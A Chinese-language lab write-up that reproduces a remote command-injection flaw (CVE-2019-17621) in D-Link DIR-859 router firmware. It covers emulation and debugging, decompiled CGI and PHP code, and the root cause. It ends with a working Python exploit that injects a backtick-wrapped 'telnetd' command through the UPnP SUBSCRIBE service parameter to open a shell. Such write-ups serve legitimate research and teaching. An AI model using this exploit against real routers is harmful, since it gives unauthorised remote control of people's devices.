D-Link DIR-859 RCE漏洞(CVE-2019-17621)分析復現

一、模擬運行固件

1.環境搭建

使用attifyos 中的環境進行模擬時可能會出現各種問題，後來自己搭建環境，可以正常運行。

firmadyne 環境搭建： https://github.com/firmadyne/firmadyne

qemu 編譯安裝：https://download.qemu.org/qemu-2.5.0.tar.bz2

qemu 建議使用 qemu-2.5.0 版本進行編譯安裝

在安裝之前，請修復 linux-user/elfload.c 中elf_check_ehdr 函數的一個 bug：

插入 && ehdr->e_shentsize == sizeof(struct elf_shdr) 這個條件

修改之前：

/* Verify the portions of EHDR outside of E_IDENT for the target.   This has to wait until after bswapping the header.  */static bool elf_check_ehdr(struct elfhdr *ehdr){    return (elf_check_arch(ehdr->e_machine)            && ehdr->e_ehsize == sizeof(struct elfhdr)            && ehdr->e_phentsize == sizeof(struct elf_phdr)            && (ehdr->e_type == ET_EXEC || ehdr->e_type == ET_DYN));}
修改後：
static bool elf_check_ehdr(struct elfhdr *ehdr){    return (elf_check_arch(ehdr->e_machine)            && ehdr->e_ehsize == sizeof(struct elfhdr)            && ehdr->e_phentsize == sizeof(struct elf_phdr)      && ehdr->e_shentsize == sizeof(struct elf_shdr)            && (ehdr->e_type == ET_EXEC || ehdr->e_type == ET_DYN));}
編譯：
./configure --target-list="mips-linux-user mipsel-linux-user arm-linux-user" --staticsudo make -j8

2.模擬運行固件
將 DIR859Ax_FW105b03.bin 固件複製到 firmadyne 目錄下
在firmadyne 目錄下執行以下命令：su
sudo surm -rf images*sh ./reset.shsudo -u postgres createdb -O firmadyne firmwaresudo -u postgres psql -d firmware < ./database/schema./sources/extractor/extractor.py -b Dlink -sql 127.0.0.1 -np -nk "DIR859Ax_FW105b03.bin" images./scripts/getArch.sh ./images/1.tar.gz  ./scripts/makeImage.sh 1        ./scripts/inferNetwork.sh 1        ./scratch/1/run.sh   
ip 信息：
配置網卡信息是，本地會生成一個與 ip 同網段的網卡：運行固件：./scratch/1/run.sh
可以看出路由器固件 ip為： 192.168.0.1
瀏覽器中輸入 192.168.0.1 訪問仿真路由器：
    至此，固件模擬運行成功。
二、程序調試1. 啟動 mips 系統run-mips-sys.sh腳本信息如下：
oit@ubuntu:/home/qemu-vmsys/mips$ cat run-mips-sys.shsudo qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda
其中， msb_mips_gdbserver 是靜態的 gdbserver, 之後用於 固件系統中程序的調試。信息如下：
oit@ubuntu:/home/qemu-vmsys/mips$ file ./msb_mips_gdbserver ./msb_mips_gdbserver: ELF 32-bit MSB  executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped
執行腳本啟動 mips 系統： run-mips-sys.sh
輸入 longin:root Password:root2.掛載固件跟文件系統
解包固件：binwalk -Me DIR859Ax_FW105b03.bin
oit@ubuntu:~/tools/Template/dir_859$ binwalk -Me ./DIR859Ax_FW105b03.binoit@ubuntu:~/tools/Template/dir_859$ cd _DIR859Ax_FW105b03.bin.extracted
將跟文件系統 squashfs-root 和 msb_mips_gdbserver 傳到 debian-mips系統中：
將 msb_mips_gdbserver 複製到 squashfs-root 目錄下：
cp ./msb_mips_gdbserver ./squashfs-root
掛載跟文件系統並啟動：命令如下：
root@debian-mips:~root@debian-mips:~root@debian-mips:~
查看文件系統中運行的進程：
chroot ./squashfs-root shroot@debian-mips:~# chroot ./squashfs-root/ sh BusyBox v1.14.1 (2016-06-28 10:53:08 CST) built-in shell (msh) Enter 'help' for a list of built-in commands.   PID USER       VSZ STAT COMMAND     1 0         2660 S    init [2]        2 0            0 SW   [kthreadd]     3 0            0 SW   [ksoftirqd/0]     6 0            0 SW   [watchdog/0]     7 0            0 SW<  [cpuset]     8 0            0 SW<  [khelper]     9 0            0 SW   [kdevtmpfs]
  ...  2389 0        11144 S    sshd: root@pts/0    2391 0         6108 S    -bash   2399 0         2588 S    /usr/lib/openssh/sftp-server   2583 0            0 SW   [kworker/0:1]  2896 0        11012 S    sshd: root@notty    2898 0         2588 S    /usr/lib/openssh/sftp-server   2937 0            0 SW   [kworker/0:0]  3036 0            0 SW   [flush-8:0]  3052 0            0 SW   [kworker/0:2]  3057 0          856 S    sh   3058 0          748 R    ps   
查看網絡：
由此可知，跟文件系統在mips系統中成功掛載並運行。
3. 程序調試測試：msb_mips_gdbserver、IDA
這裡測試 /htdocs/cgibin 文件的遠程調試（ /htdocs/cgibin 後面會用到）
a. 執行 ./msb_mips_gdbserver 192.168.126.150:1234 /htdocs/cgibin
    遠程ip: 192.168.126.150
    監聽埠：1234    
    /htdocs/cgibin：調試程序
b. 將 /htdocs/cgibin 複製到 pc下，用ida打開
 在main 函數處下斷點，按 F9運行->選擇Remote GDB debuger
     點擊OK，輸入Hostname 和 Port：(啟動gdbserver 時設置的 )
    Hostname: 192.168.126.150
    Port:1234
    點擊OK,出現調試界面
    F9 運行，執行到剛才main 函數斷點處
    由此可以看到，一切正常，說明環境配置及遠程調試沒有問題。
三、漏洞分析
對於漏洞分析，參考原文：
https://blog.csdn.net/NOSEC2019/article/details/103823845
根據紕漏，可知遠程代碼執行漏洞在UPnP請求的代碼中。
1. UPnP協議棧UPnP是實現智能設備端到端網絡連接的結構。它也是一種架構在TCP/IP和HTTP技術之上的，分布式、開放的網絡結構，以使得在聯網的設備間傳遞控制和數據。UPnP 技術實現了 控制點、 設備和 服務之間通訊的支持，並且設備和相關服務的也使用XML定義並且公布出來。使用UPnP，設備可以動態加入網絡，自動獲得一個IP位址，向其他設備公布它的能力或者獲知其他設備的存在和服務，所有這些過程都是自動完成的，此後設備能夠彼此直接通訊。UPnP不需要設備驅動程序，因此使用UPnP建立的網絡是介質無關的。同時UPnP使用標準的TCP/IP和網絡協議，使它能夠無縫的融入現有網絡。構造UPnP應用程式時可以使用任何語言，並在任何作業系統平臺上編譯運行。對於設備的描述，使用HTML表單表述設備控制界面。它既允許設備供應商提供基於瀏覽器的用戶界面和編程控制接口，也允許開發人員定製自己的設備界面。2. 漏洞所在位置在滿足一定前置條件情況下，二進位可執行文件/htdocs/cgibin中的genacgi_main()函數包含了可遠程執行代碼的漏洞。使用 ghidra 查看 genacgi_main() 函數的反編譯代碼：
undefined4 genacgi_main(void){  char *pcVar1;  char *env_http_callback;  char *__s1;  char *env_http_nt;  char *env_REMOTE_ADDR;  size_t sVar2;  __pid_t pid;  __pid_t _Var3;  char *pcVar4;  undefined4 uVar5;  int iVar6;  int iVar7;  int iVar8;  char buf8 [8];  char acStack528 [500];  undefined *local_18;    local_18 = &_gp;  pcVar4 = getenv("REQUEST_METHOD");  if (pcVar4 == (char *)0x0) {    return 0xffffffff;  }                      uVar5 = (**(code **)(local_18 + -0x7c90))("REQUEST_URI");                      iVar6 = (**(code **)(local_18 + -0x7f78))(uVar5,0x3f);  if (iVar6 == 0) {    return 0xffffffff;  }                      iVar7 = (**(code **)(local_18 + -0x7d44))(iVar6,"?service=",9);  if (iVar7 != 0) {    return 0xffffffff;  }                      iVar7 = (**(code **)(local_18 + -0x7d30))(pcVar4,"SUBSCRIBE");  uri_service = iVar6 + 9;  if (iVar7 != 0) {    iVar6 = (**(code **)(local_18 + -0x7d30))(pcVar4,"UNSUBSCRIBE");    if (iVar6 != 0) {      return 0xffffffff;    }    pcVar4 = getenv("SERVER_ID");    if ((((pcVar4 == (char *)0x0) || (pcVar4 = getenv("HTTP_SID"), pcVar4 == (char *)0x0)) ||        (pcVar4 = getenv("HTTP_CALLBACK"), pcVar4 != (char *)0x0)) ||       (pcVar4 = getenv("HTTP_NT"), pcVar4 != (char *)0x0)) {      cgibin_print_http_status(400,0x420554,0x420554);    }    else {      pcVar4 = getenv("SERVER_ID");      getenv("HTTP_SID");      sprintf(acStack528,"%s\nINF_UID=%s\nSERVICE=%s\nMETHOD=UNSUBSCRIBE\nSID=%s\n",              "/htdocs/upnp/run.NOTIFY.php",pcVar4);      xmldbc_ephp(0,0,acStack528,stdout);    }    return 0;  }  env_server_id = getenv("SERVER_ID");  env_http_sid = getenv("HTTP_SID");  env_http_callback = getenv("HTTP_CALLBACK");  env_http_timeout = getenv("HTTP_TIMEOUT");  env_http_nt = getenv("HTTP_NT");  env_REMOTE_ADDR = getenv("REMOTE_ADDR");  if (env_http_sid == (char *)0x0) {    iVar7 = strcmp(env_http_nt,"upnp:event");    uVar5 = 0x19c;    if ((iVar7 == 0) && (env_http_callback != (char *)0x0)) {      iVar7 = strcasecmp(env_http_timeout,"Second-infinite");      time_out = 0;      if (iVar7 != 0) {        iVar7 = strncasecmp(env_http_timeout,"Second-",7);        uVar5 = 400;        if (iVar7 != 0) goto LAB_004103d8;        time_out = atoi(env_http_timeout + 7);      }      sVar2 = strlen(env_http_callback);      if (env_http_callback[sVar2 - 1] == '>') {        env_http_callback[sVar2 - 1] = '\0';      }      env_http_callback = env_http_callback + (uint)(*env_http_callback == '<');      iVar7 = strncmp(env_http_callback,"http://",7);      uVar5 = 0x19c;      if (iVar7 == 0) {        http_callbak_uri = strchr(env_http_callback + 7,0x2f);        if (http_callbak_uri != (char *)0x0) {          *http_callbak_uri = '\0';          pid = getpid();          sprintf(buf8,                  "%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nHOST=%s\nURI=/%s\nTIMEOUT=%d\nREMOTE=%s\nSHELL_FILE=%s/%s_%d.sh"                  ,"/htdocs/upnp/run.NOTIFY.php",env_server_id,uri_service,env_http_callback + 7, http_callbak_uri+ 1,time_out                  ,env_REMOTE_ADDR,"/var/run",uri_service,pid);          xmldbc_ephp(0,0,buf8,stdout);          fflush(stdout);          _Var3 = getpid();          sprintf(buf8,"NOTIFY:0:sh %s/%s_%d.sh","/var/run",iVar6,_Var3);          xmldbc_timer(0,0,buf8);          return 0;        }        uVar5 = 0x19c;      }    }  }  else {    uVar5 = 400;    if ((env_http_callback == (char *)0x0) && (env_http_nt == (char *)0x0)) {      iVar7 = strcasecmp(__s1,"Second-infinite");      iVar8 = 0;      if (iVar7 != 0) {        iVar7 = strncasecmp(__s1,"Second-",7);        uVar5 = 400;        if (iVar7 != 0) goto LAB_004103d8;        iVar8 = atoi(__s1 + 7);      }      sprintf(buf8,              "%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nSID=%s\nTIMEOUT=%d\nSHELL_FILE=%s/%s.sh"              ,"/htdocs/upnp/run.NOTIFY.php",pcVar4,iVar6,pcVar1,iVar8,"/var/run",iVar6);      xmldbc_ephp(0,0,buf8,stdout);      return 0;    }  }LAB_004103d8:  cgibin_print_http_status(uVar5,0x420554,0x420554);  return 0;}
在反編譯代碼中，sprintf()設置了一個包含所有值的緩衝區，其中函數參數 ?service=及其值，隨後由 xmldbc_ephp()函數(最後調用send())將「buffer8」中包含的數據發送給PHP。
sprintf(buf8,"%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nHOST=%s\nURI=/%s\nTIMEOUT=%d\nREMOTE=%s\nSHELL_FILE=%s/%s_%d.sh" ,"/htdocs/upnp/run.NOTIFY.php",env_server_id,uri_service,env_http_callback + 7, http_callbak_uri+ 1,time_out ,env_REMOTE_ADDR,"/var/run",uri_service,pid);xmldbc_ephp(0,0,buf8,stdout);
根據反彙編代碼，可以看出，sprintf()用於連接多個變量的值，填充一個緩衝區，設置要傳遞的新變量，其中SHELL_FILE將以格式%s_%d.sh進行傳遞，主要用於為新的shell腳本命名。
根據執行 sprintf() 成立的條件，調試時需要設置以下環境變量
export REQUEST_URI="SUBSCRIBE /gena.cgi?service=\`telnetd\`"export REMOTE_ADDR="192.168.126.150"export REQUEST_METHOD="SUBSCRIBE"export CONTENT_TYPE="application/x-www-form-urlencoded"export HTTP_COOKIE="aaaaaaaa"export HTTP_TIMEOUT="Second-1800"export HTTP_NT="upnp:event"export HTTP_CALLBACK="<http://192.168.126.139:34033/ServiceProxy27>/"
修復環境：
mkdir -p /var/htdocs/upnp/LAN-1/ln -s /htdocs/cgibin   /var/htdocs/upnp/LAN-1/gena.cgi
調試程序，執行到 sprintf:
./gdbserver_msb 192.168.126.150:1234 /var/htdocs/upnp/LAN-1/gena.cgi
數據被複製到「buffer8」緩衝區後，內存中的數據設置如下：
緩衝區中的數據，經過xmldbc_ephp處理，由PHP文件run.NOTIFY.php進行處理，如下：
void xmldbc_ephp(undefined4 param_1,undefined4 param_2,char *pbuf8,int stdout){  size_t buf_size;    buf_size = strlen(pbuf8);  buf_size._2_2_ = (short)buf_size;  FUN_0041420c(param_1,10,param_2,pbuf8,buf_size._2_2_ + 1,stdout);  return;}
undefined4FUN_0041420c(undefined4 param_1,uint param_2,undefined4 param_3,void *pbuf,ushort buf_size,            int in_stdout){  int fd;  int iVar1;  undefined4 uVar2;    fd = _connect();  uVar2 = 0xffffffff;  if (-1 < fd) {    iVar1 = FUN_00413810(fd,(short)param_2,param_3,pbuf,buf_size);    uVar2 = 0xffffffff;    if (-1 < iVar1) {      if (in_stdout == 0) {        in_stdout = stdout;      }      FUN_00414094(fd,in_stdout);      uVar2 = 0;    }    close(fd);  }  return uVar2;}
int _connect(char *pcParm1)
{  int __fd;  int iVar1;  int iVar2;  sockaddr local_80 [7];    __fd = socket(1,2,0);  if (__fd < 0) {    iVar2 = -1;  }  else {    fcntl(__fd,2,1);    if (pcParm1 == (char *)0x0) {      pcParm1 = "/var/run/xmldb_sock";    }    local_80[0].sa_family = 1;    snprintf(local_80[0].sa_data,0x6c,"%s",pcParm1);    iVar1 = connect(__fd,local_80,0x6e);    iVar2 = __fd;    if (iVar1 < 0) {      iVar2 = -1;      close(__fd);    }  }  return iVar2;}
流程： buf8->xmldbc_ephp->FUN_0041420c->_connect-> connect
run.NOTIFY.php文件
<?include "/htdocs/phplib/upnp/xnode.php";include "/htdocs/upnpinc/gvar.php";include "/htdocs/upnpinc/gena.php";
$gena_path = XNODE_getpathbytarget($G_GENA_NODEBASE, "inf", "uid", $INF_UID, 1);$gena_path = $gena_path."/".$SERVICE;GENA_subscribe_cleanup($gena_path);
if    ($SERVICE == "L3Forwarding1")  $php = "NOTIFY.Layer3Forwarding.1.php";else if ($SERVICE == "OSInfo1")      $php = "NOTIFY.OSInfo.1.php";else if ($SERVICE == "WANCommonIFC1")  $php = "NOTIFY.WANCommonInterfaceConfig.1.php";else if ($SERVICE == "WANEthLinkC1")  $php = "NOTIFY.WANEthernetLinkConfig.1.php";else if ($SERVICE == "WANIPConn1")    $php = "NOTIFY.WANIPConnection.1.php";else if ($SERVICE == "WFAWLANConfig1")  $php = "NOTIFY.WFAWLANConfig.1.php";

if ($METHOD == "SUBSCRIBE"){  if ($SID == "")    GENA_subscribe_new($gena_path, $HOST, $REMOTE, $URI, $TIMEOUT, $SHELL_FILE, "/htdocs/upnp/".$php, $INF_UID);  else    GENA_subscribe_sid($gena_path, $SID,  $TIMEOUT);}else if ($METHOD == "UNSUBSCRIBE"){  GENA_unsubscribe($gena_path, $SID);}?>
根據環境的設置，該腳本會調用PHP 函數 GENA_subscribe_new()，並傳遞cgibin程序中genacgi_main()函數獲得的變量，還包括變量SHELL_FILE。
根據搜索，可知 GENA_subscribe_new()定義在 gena.php文件中
gena.php文件：
<?include "/htdocs/phplib/xnode.php";include "/htdocs/phplib/trace.php";include "/htdocs/phplib/phyinf.php";
function GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $sid){
  $inf_path = XNODE_getpathbytarget("", "inf", "uid", $inf_uid, 0);  if ($inf_path=="")  {    TRACE_debug("can't find inf_path by $inf_uid=".$inf_uid."!");    return "";  }  $phyinf = PHYINF_getifname(query($inf_path."/phyinf"));  if ($phyinf == "")  {    TRACE_debug("can't get phyinf by $inf_uid=".$inf_uid."!");    return "";  }
  $upnpmsg = query("/runtime/upnpmsg");  if ($upnpmsg == "") $upnpmsg = "/dev/null";  fwrite(w, $shell_file,    "#!/bin/sh\n".    'echo "[$0] ..." > '.$upnpmsg."\n".    "xmldbc -P ".$target_php.      " -V INF_UID=".$inf_uid.      " -V HDR_URL=".$uri.      " -V HDR_HOST=".$host.      " -V HDR_SID=".$sid.      " -V HDR_SEQ=0".      " | httpc -i ".$phyinf." -d \"".$host."\" -p TCP > ".$upnpmsg."\n"  );  fwrite(a, $shell_file, "rm -f ".$shell_file."\n");}
function GENA_notify_req_event_hdr($url, $host, $content_len, $sid, $seq, $outputfile){  if ($outputfile!="")  {    fwrite("w", $outputfile, "NOTIFY ".$url." HTTP/1.1\r\n");    fwrite("a", $outputfile, "HOST: ".$host."\r\n");    fwrite("a", $outputfile, "CONTENT-TYPE: text/xml\r\n");    fwrite("a", $outputfile, "CONTENT-LENGTH: ".$content_len."\r\n");    fwrite("a", $outputfile, "NT: upnp:event\r\n");    fwrite("a", $outputfile, "NTS: upnp:propchange\r\n");    fwrite("a", $outputfile, "SID: ".$sid."\r\n");    fwrite("a", $outputfile, "SEQ: ".$seq."\r\n\r\n");  }  else  {    echo "NOTIFY ".$url." HTTP/1.1\r\n";    echo "HOST: ".$host."\r\n";    echo "CONTENT-TYPE: text/xml\r\n";    echo "CONTENT-LENGTH: ".$content_len."\r\n";    echo "NT: upnp:event\r\n";    echo "NTS: upnp:propchange\r\n";    echo "SID: ".$sid."\r\n";    echo "SEQ: ".$seq."\r\n\r\n";  }}
function GENA_subscribe_http_resp($sid, $timeout){    echo "HTTP/1.1 200 OK\r\n";  echo "SID: ".$sid."\r\n";  echo "TIMEOUT: ";  if ($timeout == 0) echo "Second-infinite";  else echo "Second-".$timeout;  echo "\r\n\r\n";}
function GENA_subscribe_cleanup($node_base){  $curr_time = query("/runtime/device/uptime");
  anchor($node_base);  $count = query("subscription#");  while ($count > 0)  {    $tout = query("subscription:".$count."/timeout");    if ($tout > 0 && $tout < $curr_time) del("subscription:".$count);    $count--;  }}
function GENA_subscribe_new($node_base, $host, $remote, $uri, $timeout, $shell_file, $target_php, $inf_uid){  anchor($node_base);  $count = query("subscription#");  $found = 0;    foreach ("subscription")  {    if (query("host")==$host && query("uri")==$uri)  {$found = $InDeX; break;}  }  if ($found == 0)  {    $index = $count + 1;    $new_uuid = "uuid:".query("/runtime/genuuid");  }  else  {    $index = $found;    $new_uuid = query("subscription:".$index."/uuid");  }
    if ($timeout==0 || $timeout=="") {$timeout = 0; $new_timeout = 0;}  else {$new_timeout = query("/runtime/device/uptime") + $timeout;}    set("subscription:".$index."/remote",  $remote);  set("subscription:".$index."/uuid",    $new_uuid);  set("subscription:".$index."/host",    $host);  set("subscription:".$index."/uri",    $uri);  set("subscription:".$index."/timeout",  $new_timeout);  set("subscription:".$index."/seq", "1");
  GENA_subscribe_http_resp($new_uuid, $timeout);  GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $new_uuid);}
function GENA_subscribe_sid($node_base, $sid, $timeout){  ...}
function GENA_unsubscribe($node_base, $sid){  ...}?>
從GENA_subscribe_new功能上分析可知函數並不修改 $shell_file 變量。GENA_subscribe_new傳遞$shell_file 到 GENA_notify_init函數，也是shell_file最終處理的地方：通過調用 PHP 函數fwrite()創建新文件。
fwrite() 函數被使用了兩次：
第一次創建文件，文件名由 可控的 SHELL_FILE變量(uri_service)以及
getpid()組成：
第二次調用fwrite()向文件中添加 刪除命令 "rm -f ".$shell_file."\n"，（漏洞點觸發原因）：
進行攻擊時，只需要插入一個反引號包裹的系統命令，將其注入到shell 腳本中。在腳本執行 rm 命令時因遇到 反引號而失敗，繼續執行引號裡面的系統命令，從而達到遠程命令執行漏洞的觸發。所以，只要控制好 "/gena.cgi?service=shell_file"中 shell_file的內容為 反引號包裹的系統命令，就可以觸發漏洞。四、執行exp，獲取shell1. 模擬運行路由器固件（見 一、），查看埠：使用49152 埠2. exp:
import socketimport osfrom time import sleep
def httpSUB(server, port, shell_file):    con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    Payload = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n"    Payload += "Host: " + str(server) + str(port) + "\n"    Payload += "Callback: <http://192.168.126.128:33/>\n"    Payload += "NT: upnp:event\n"    Payload += "Timeout: Second-1800\n"    Payload += "Accept-Encoding: gzip, deflate\n"    Payload += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"
    sleep(1)    print('[*] Sending Payload')    con.connect((socket.gethostbyname(server),port))    con.send(Payload.encode())    results = con.recv(4096)
    sleep(1)    print('[*] Running Telnetd Service')
serverInput = raw_input('IP Router: ')portInput = 49152
httpSUB(serverInput, portInput, '`telnetd`')
執行exp：python poc.py,查看服務：
通過漏洞，開啟telnetd服務：
執行 telnet 192.168.0.1 ,獲取shell
成功利用漏洞。
參考連結：
https://blog.csdn.net/NOSEC2019/article/details/103823845